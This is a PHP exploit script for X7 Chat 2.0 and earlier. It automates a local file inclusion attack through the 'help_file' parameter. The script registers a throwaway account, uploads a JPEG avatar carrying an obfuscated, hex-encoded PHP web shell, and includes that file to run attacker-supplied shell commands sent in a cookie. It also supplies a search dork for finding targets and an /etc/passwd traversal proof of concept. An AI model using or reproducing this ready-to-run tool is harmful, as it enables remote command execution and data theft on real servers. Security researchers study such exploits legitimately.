x7chatphp.txt

`#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "X7 Chat <=2.0 \"help_file\" arbitrary local inclusion\r\n";  
echo "by rgod [email protected]\r\n";  
echo "site: http://retrogod.altervista.org\r\n";  
echo "-> works regardless of magic_quotes_gpc settings\r\n";  
echo " if avatar uploads are enabled (default)\r\n";  
echo "dork: intitle:\"X7 Chat Help Center\" | \"Powered By X7 Chat\"\r\n\r\n";  
  
if ($argc<4) {  
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to X7\r\n";  
echo "cmd: a shell command\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /X7/ cat ./../config.php\r\n";  
echo "php ".$argv[0]." localhost /X7/ ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";  
die;  
}  
  
/*  
software site: http://www.x7chat.com/  
description: "X7 Chat is free, open source, software written in PHP"  
  
vulnerable code in help/index.php at lines 32-37:  
  
...  
if(!isset($_GET['help_file']) || !@is_file("./{$_GET['help_file']}")){  
$_GET['help_file'] = "main";  
}  
  
// Load the help definitions  
include("./{$_GET['help_file']}");  
...  
  
so, you can view/include all files on target system, poc:  
  
http://[target]/[path]/help/index.php?help_file=../../../../../../etc/passwd  
  
this tool upload an avatar with php code as EXIF metadata content, then:  
  
http://[target]/[path]/help/index.php?help_file=../uploads/avatar_[username].jpeg&cmd=ls%20-la  
*/  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
  
function make_seed()  
{  
list($usec, $sec) = explode(' ', microtime());  
return (float) $sec + ((float) $usec * 100000);  
}  
  
  
$host=$argv[1];  
$path=$argv[2];  
$cmd="";$port=80;$proxy="";  
  
for ($i=3; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
srand(make_seed());  
$v = rand(1,99);  
  
echo "step 1 -> register...\r\n";  
$data="username=suntzu".$v;  
$data.="&pass1=suntzu";  
$data.="&pass2=suntzu";  
$data.="&email=suntzu".$v."@hotmail.com";  
$packet ="POST ".$p."index.php?act=register&step=1 HTTP/1.0\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
  
echo "step 2 -> login...\r\n";  
$data="dologin=dologin";  
$data.="&username=suntzu".$v;  
$data.="&password=suntzu";  
$packet="POST ".$p."index.php HTTP/1.0\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
$temp=explode("Set-Cookie: ",$html);  
$temp2=explode(" ",$temp[1]);$cookie=$temp2[0];  
$temp2=explode(" ",$temp[2]);$cookie.=" ".$temp2[0];  
if ($cookie=="") {die("Failed to login...\r\n");}  
echo "Cookie -> ".$cookie."\r\n";  
echo "step 3 -> upload an avatar...\r\n";  
$shell=  
chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x00).chr(0xcf).chr(0x3c).chr(0x3f).  
chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x69).chr(0x66).chr(0x20).  
chr(0x28).chr(0x67).chr(0x65).chr(0x74).chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).  
chr(0x69).chr(0x63).chr(0x5f).chr(0x71).chr(0x75).chr(0x6f).chr(0x74).chr(0x65).  
chr(0x73).chr(0x5f).chr(0x67).chr(0x70).chr(0x63).chr(0x28).chr(0x29).chr(0x29).  
chr(0x7b).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).  
chr(0x45).chr(0x5b).chr(0x27).chr(0x63).chr(0x6d).chr(0x64).chr(0x27).chr(0x5d).  
chr(0x3d).chr(0x73).chr(0x74).chr(0x72).chr(0x69).chr(0x70).chr(0x73).chr(0x6c).  
chr(0x61).chr(0x73).chr(0x68).chr(0x65).chr(0x73).chr(0x28).chr(0x24).chr(0x5f).  
chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x27).  
chr(0x63).chr(0x6d).chr(0x64).chr(0x27).chr(0x5d).chr(0x29).chr(0x3b).chr(0x7d).  
chr(0x0d).chr(0x0a).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).chr(0x72).chr(0x5f).  
chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).chr(0x74).chr(0x69).chr(0x6e).  
chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x69).  
chr(0x6e).chr(0x69).chr(0x5f).chr(0x73).chr(0x65).chr(0x74).chr(0x28).chr(0x22).  
chr(0x6d).chr(0x61).chr(0x78).chr(0x5f).chr(0x65).chr(0x78).chr(0x65).chr(0x63).  
chr(0x75).chr(0x74).chr(0x69).chr(0x6f).chr(0x6e).chr(0x5f).chr(0x74).chr(0x69).  
chr(0x6d).chr(0x65).chr(0x22).chr(0x2c).chr(0x30).chr(0x29).chr(0x3b).chr(0x0d).  
chr(0x0a).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x22).chr(0x35).  
chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x22).chr(0x3b).chr(0x0d).chr(0x0a).  
chr(0x70).chr(0x61).chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).  
chr(0x28).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).  
chr(0x45).chr(0x5b).chr(0x22).chr(0x63).chr(0x6d).chr(0x64).chr(0x22).chr(0x5d).  
chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).  
chr(0x20).chr(0x22).chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x22).  
chr(0x3b).chr(0x0d).chr(0x0a).chr(0x64).chr(0x69).chr(0x65).chr(0x3b).chr(0x0d).  
chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).chr(0x4a).  
chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x00).  
chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).chr(0x00).  
chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).  
chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0xff).  
chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).chr(0x01).  
chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).chr(0x03).  
chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).chr(0x01).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x09).  
chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xc4).  
chr(0x00).chr(0x14).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x06).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).  
chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).  
chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).chr(0x01).  
chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).chr(0x00).  
chr(0x3f).chr(0xc1).chr(0xc7).chr(0xdf).chr(0xff).chr(0xd9).chr(0x00).chr(0x00);  
  
$data='-----------------------------7d63ba6e09fc  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
5242880  
-----------------------------7d63ba6e09fc  
Content-Disposition: form-data; name="avatar"; filename="whatever.jpg"  
Content-Type: image/jpeg  
  
'.$shell.'  
-----------------------------7d63ba6e09fc--  
';  
  
echo "step 4 -> launch commands...\r\n";  
$packet="POST ".$p."index.php?act=usercp&cp_page=upload&uploaded=1 HTTP/1.0\r\n";  
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d63ba6e09fc\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Cookie: ".$cookie."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
  
$path_to_shell=urlencode("../uploads/avatar_suntzu".$v.".jpeg");  
$packet ="GET ".$p."help/index.php?help_file=".$path_to_shell." HTTP/1.0\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: cmd=".$cmd."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
#debug  
#echo quick_dump($packet);  
sendpacketii($packet);  
if (strstr($html,"56789"))  
{  
echo "Exploit succeeded...\r\n\r\n";  
$temp=explode("56789",$html);  
echo $temp[1];  
die;  
}  
//if you are here...  
echo "Exploit failed...";  
?>  
  
  
`